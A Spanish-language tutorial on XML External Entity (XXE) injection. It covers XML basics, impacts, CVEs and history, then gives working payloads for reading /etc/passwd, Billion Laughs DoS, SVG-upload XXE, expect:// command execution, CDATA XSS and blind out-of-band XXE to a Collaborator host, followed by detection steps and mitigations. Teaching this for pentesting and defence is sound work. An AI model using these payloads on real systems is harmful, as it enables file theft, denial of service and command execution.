En el mundo de la seguridad de aplicaciones, una de las vulnerabilidades menos conocidas pero altamente críticas es la inyección XXE (XML External Entity Injection).
Este ataque explota la forma en que los analizadores XML procesan entidades externas, lo que permite a un atacante leer archivos sensibles, realizar SSRF (Server-Side Request Forgery) o incluso ejecutar código remoto bajo ciertas condiciones.
Comprender esta vulnerabilidad es esencial tanto para desarrolladores como para pentesters que trabajan con aplicaciones basadas en XML.
1. Conceptos básicos de XML
¿Qué es XML?
XML (Extensible Markup Language) es un lenguaje de marcado utilizado para almacenar y transportar datos.
A diferencia de HTML, no tiene etiquetas predefinidas; el usuario las define según la estructura de los datos, por ejemplo: <email></email>, <mensaje></mensaje>.
Algunos atributos importantes:
- Version: especifica la versión del estándar XML (por ejemplo,
1.0). - Encoding: define la codificación (por defecto UTF-8).
- Standalone: indica si el documento depende de fuentes externas (
yesono).
¿Qué es una entidad?
En XML, una entidad es similar a una variable en programación; representa datos dentro de un documento.
Existen entidades internas (definidas dentro del archivo XML) y entidades externas, que hacen referencia a recursos externos mediante la palabra clave SYSTEM.
Ejemplo: <!ENTITY pwned SYSTEM "URL">
¿Qué es el DTD (Document Type Definition)?
El DTD define la estructura de un documento XML y los tipos de datos que puede contener.
Puede estar interno (dentro del XML) o externo (referenciado con SYSTEM o PUBLIC).
Por ejemplo: <!DOCTYPE pwned SYSTEM "URL">
2. ¿Qué es XXE?
Un atacante inyecta una referencia a una entidad externa en el XML que la aplicación parsea. Si el parser resuelve esa entidad, el atacante puede obtener el contenido solicitado (archivo local, recurso remoto) o forzar comportamientos no deseados.
3. Impactos y CVEs
Impactos comunes:
- Lectura de archivos locales (por ejemplo
/etc/passwd,robots.txt) - SSRF
- DoS (XML bomb - Billion Laughs)
- RCE (si se permiten ciertos wrappers)
- XSS (cuando el contenido se reinyecta en páginas)
Ejemplos citados:
- CWE-611: Improper Restriction of XML External Entity.
- CVE ejemplos: CVE-2019-12153, CVE-2019-12154, CVE-2018-1000838, CVE-2019-0340.
CVSS típico citado: 7.5 (severidad media) (depende del caso de uso).
4. Historia y evolución
1990s – orígenes de XML: XML se diseñó como un formato flexible con capacidad de definir entidades externas para reutilización de contenido. Esto se pensó para conveniencia, no seguridad.
2002-2003: se empezaron a publicar investigaciones de seguridad mostrando que los parsers de XML eran susceptibles a ataques con DTDs maliciosos.
2013: OWASP incluyó XXE dentro de su lista de vulnerabilidades críticas.
2017: con la publicación de OWASP Top 10 2017, XXE aparece formalmente como categoría A4:XXE, dado que en esa época explotarla era muy común en aplicaciones Java, PHP, .NET y Python que usaban librerías por defecto inseguras.
Actualidad: Aunque con menos presencia en frameworks modernos (porque muchos desactivan DTDs por defecto), sigue siendo un vector de ataque importante, sobre todo en aplicaciones legacy o en integraciones SOAP/XML.
5. Técnicas de explotación
Nota: usa estas técnicas únicamente en entornos autorizados, laboratorios o para pruebas con permiso.
5.1. SSRF / extracción de archivos locales
El atacante puede usar entidades para leer archivos dentro del servidor.
El siguiente payload de ejemplo, solicita robots.txt vía URL:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE reset [
<!ENTITY ignite SYSTEM "http://192.168.1.15/bWAPP/robots.txt">
]>
<reset>
<login>&ignite;</login>
<secret>Any bugs?</secret>
</reset>Colocando &ignite; dentro de un campo que el parser procesa, el servidor recuperará el contenido de robots.txt y lo incluirá en la respuesta.
Para leer /etc/passwd:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE reset [
<!ENTITY ignite SYSTEM "file:///etc/passwd">
]>
<reset>
<login>&ignite;</login>
<secret>Any bugs?</secret>
</reset>Si el parser permite file://, el contenido se devolverá.
Descripción técnica del ataque en máquina CTF System:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE results [
<!ENTITY pwned SYSTEM "file:///etc/passwd">
]>
<details>
<email>
&pwned;
</email>
<password>
asdf
</password>
</details>La línea
<!DOCTYPE results [...]>declara un DTD (Document Type Definition).Dentro del DTD defines una entidad externa:
<!ENTITY pwned SYSTEM "file:///etc/passwd">Aquí el atacante dice: “Crea una entidad llamada pwned cuyo contenido provenga del archivo /etc/passwd”.
- Más abajo, en
<email>&pwned;</email>, el parser reemplaza&pwned;por el contenido del archivo real del sistema.
Resultado: el servidor devuelve el contenido del archivo /etc/passwd dentro de la respuesta HTTP.
5.2. XML Bomb — Billion Laughs (DoS)
También conocido como XML Bomb, este ataque usa entidades recursivas que se expanden exponencialmente, saturando los recursos del servidor hasta colapsarlo.
Payload de ejemplo que produce expansión exponencial de entidades:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE reset [
<!ENTITY ignite "DoS">
<!ENTITY ignite1 "&ignite;&ignite;&ignite;&ignite;&ignite;&ignite;&ignite;&ignite;&ignite;&ignite;">
<!ENTITY ignite2 "&ignite1;&ignite1;&ignite1;&ignite1;&ignite1;&ignite1;&ignite1;&ignite1;&ignite1;&ignite1;">
...
<!ENTITY ignite9 "&ignite8;&ignite8;&ignite8;&ignite8;&ignite8;&ignite8;&ignite8;&ignite8;&ignite8;&ignite8;">
]>
<reset>
<login>&ignite9;</login>
<secret>Any bugs?</secret>
</reset>La expansión recursiva satura memoria/CPU y provoca DoS.
5.3. XXE vía subida de archivos (SVG)
Si una aplicación permite subir imágenes SVG (XML), se puede incrustar código malicioso, como una entidad que lea archivos:
payload.svg:
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE reset [
<!ENTITY xxe SYSTEM "file:///etc/hostname">
]>
<svg width="500" height="500" xmlns="http://www.w3.org/2000/svg" version="1.1">
<text x="0" y="100">
&xxe;
</text>
</svg>Al subir y servir ese SVG, el contenido de /etc/hostname puede mostrarse.
5.4. XXE -> RCE (wrappers tipo expect://)
Si el entorno PHP (u otro) tiene enabled algún wrapper peligroso, como expect://, el atacante puede ejecutar comandos con un payload como el siguiente:
<!DOCTYPE root [
<!ENTITY ignite SYSTEM "expect://id">
]>podría ejecutar id y devolver su salida dentro de la entidad si el wrapper es soportado.
5.5. XSS mediante XXE y CDATA
Es posible combinar XXE con Cross-Site Scripting (XSS) usando CDATA para evadir filtros:
<![CDATA[<]]>img src="" onerror=javascript:alert(1)<![CDATA[>]]>CDATA permite incluir etiquetas sin ser interpretadas por el parser, lo que posibilita la inyección de scripts, y si esa cadena se reinyecta en HTML sin escape, ejecutará el alert(1).
5.6. JSON y manipulación de content-type
Dado que JSON y XML se utilizan para almacenar y transportar datos, es posible transformar un JSON en XML, cambiando Content-Type: application/xml.
Ejemplo de payload para insertar entidad:
<?xml?> <!DOCTYPE root [
<!ENTITY ignite SYSTEM "file:///">
]>
<comment>
<text>&ignite;</text>
</comment>5.7. Blind XXE (OOB) — Burp Collaborator / DNS/OOB
Cuando la aplicación no devuelve la salida, usaremos interacción out-of-band (OOB), por ejemplo Burp Collaborator o un dominio controlado por el atacante:
<!DOCTYPE stockCheck [
<!ENTITY % ignite SYSTEM "http://YOUR-SUBDOMAIN.burpcollaborator.net">
%ignite;
]>Si el servidor realiza la petición a YOUR-SUBDOMAIN, captura la interacción y confirma la vulnerabilidad.
6. Detección y pruebas (metodología)
Identificar puntos que consumen XML: endpoints con
Content-Type: application/xml, cargas de archivos (SVG), SOAP, APIs antiguas.Pruebas básicas:
- Inyectar
<!DOCTYPE ...>con una entidadSYSTEM. - Probar
file:///para archivos locales comunes (/etc/passwd,/etc/hostname,robots.txt). - Probar wrappers (
expect://,php://filter, etc.) con precaución. - Probar Billion Laughs con entornos de laboratorio solamente.
- Inyectar
Blind XXE: usar OOB (Burp Collaborator, servidor DNS propio, etc).
Herramientas: Burp Suite (Reapter/Intruder/Collaborator), WebGoat, labs de PortSwigger, entornos como bWAPP, xxelab.
7. Mitigaciones y buenas prácticas
Deshabilitar DTDs y entidades externas siempre que sea posible.
- Java (ejemplo):
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);Si no puedes deshabilitar DTDs completamente:
- Deshabilita resolución de entidades externas.
- Restringe protocolos permitidos (prohibir
file://,expect://, etc). - Limita recursos (parsed entity expansion limits) para prevenir XML bomb.
Validación y sanitización de la entrada XML antes de parsearla; evita parsear XML directamente si no es necesario.
Usar parsers seguros o librerías que, por defecto, desactiven DTDs/entidades externas.
Escapar/sanitizar salidas para prevenir XSS si contenidos XML se reflejan en HTML.
Rechazar content-types inesperados (no asumir que application/json no se puede manipular — revisa y valida).
Control de subida de archivos:
- No procesar SVGs con parsers XML inseguros; validar/convertir imágenes a formatos binarios seguros en servidor.
- Normalizar y almacenar uploads fuera de rutas servidas directamente cuando sea posible.
Monitoreo y detección:
- Alertas por patrones inusuales de peticiones salientes desde servidores (posible SSRF).
- Límites de recursos y timeouts para parsers.
Prácticas de despliegue:
- Ejecutar parsers en procesos con menos privilegios.
- Evitar que procesos web tengan lectura indiscriminada de archivos sensibles.
Referencias útiles:
- OWASP XXE Prevention Cheat Sheet.
- PortSwigger XXE labs.
- Documentación de parsers (libxml, Xerces, .NET, Java, etc).